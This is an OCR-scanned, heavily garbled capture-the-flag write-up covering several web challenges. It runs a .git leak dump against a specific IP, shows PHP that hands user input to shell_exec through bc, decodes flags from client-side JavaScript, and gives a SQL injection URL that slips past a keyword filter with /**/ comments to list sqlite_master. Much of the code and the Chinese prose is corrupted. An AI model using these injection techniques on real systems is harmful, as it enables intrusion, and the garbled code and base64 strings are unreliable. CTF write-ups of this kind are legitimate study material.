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python2 GitHack.py -u "http://202.120.7.205:60003/.git/"
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<?php
$str="";

if(lempty($_GET)){
$str=$ GET["calc"];
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<?php
if($str == ""){
}

?>
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<?php
echo $str." = ".shell_exec("echo \"$str\" | bc");
?>
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echo "$str" | bc
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echo "$str#" | bc
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<script type="text/javascript">

a = prompt("Password");
if(a=="H4CK3D")

{
alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm9@IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")+
}
else
{
alert("Wrong Password!");
}
</script>
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>>> import base64
>>> base64.b64decode ("WWI1IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHR0ZSBmbGFnLiBDaGVjayBhcm91bmQu™)
b'You are Trapped :) This is not the flag. Check around.'
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% prompt_ 8] HTML D« linux=haf: 9 Sqliteit 894761-
<html>
<head>
{meta charzet="utf8" />

{zeript type="text/javascript”:
window. location. href="trap. html”;
facripty
ztvle type= text/cas
body |
font—family: ' Sans’
font-size: 20px;

H

#title |
text—align: center;
margin-bottom: 100px;
1

#body |
1

#wrapper |
padding: Z0px 250px 260px 2560px;
margin: l00px 250px;
border: 2px =solid black;
1
{fatyler
<head>
CtitlerLOCATION B1</title>
</head>
<body>
<div id="wrapper”>
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<script type="text/javascript">

a

= prompt("Password");

if(a=="H4CK3D")

{

}

alert("Flag is "+atob("ZmxhZzpJU@d7SDNISU9FfMXNHX2pzX1RyNHB9"));

else

{

}

alert("Wrong Password!");

</script>
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>>> import base64
>>> base64.b64decode("ZmxhZzpJU@d7SDNISU9FMXNHX2pzX1RyNHBI")
b'flag:ISG{H3IIO_1sG_js_Tr4p}'

news

RABHELE T sqliteMTEN, BEAT 1 6 500 a6 ok £

X BN a8 . —tsqllite il

sqllite 3£ 7l

CTHEIE-CT

sys.path

lvanfsz E3;

os.path.c



sqllite 4l ey AN Fimysqlidl Pk NRAE, AFSTET, sqlliteiidli % A information schemaf{#in/E, 1M
eKHsqglite master®, RAFMEARTEIEE P IrARIAHKE R, HRMLT. HT eI RKsqliE
fl. Rl RElTEmER. QR II MsqiEf)5E. BN TERA

type, name,tbl_name, rootpage,sql

typeﬁ%’éﬂ
1. EBWEE R

MREHHRIEE, Wtyper B v table”, nameFB R, R [EILE R R EIFsql 7B, AEIEIILRN
sqliff).

select * from sqlite_master where type=’table’ and name=‘%&%’;
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select * from sqlite_master where type=’index’ and name=‘Z&5|4%’;
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def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.sear
return False
else:
return True
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if not codesafe(id):
return 'Hacker?'
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Load URL | http://202.120.7.206:60019/news-4/**funion/**Select/**/sql,2/**/from/**/sqlite_master.html|
Split URL
Execute

[ ] Enable Post data [ | Enable Referrer

CREATE TABLE “flag” ( “flag” TEXT )
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plit URL
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[] Enable Post data [ | Enable Referrer
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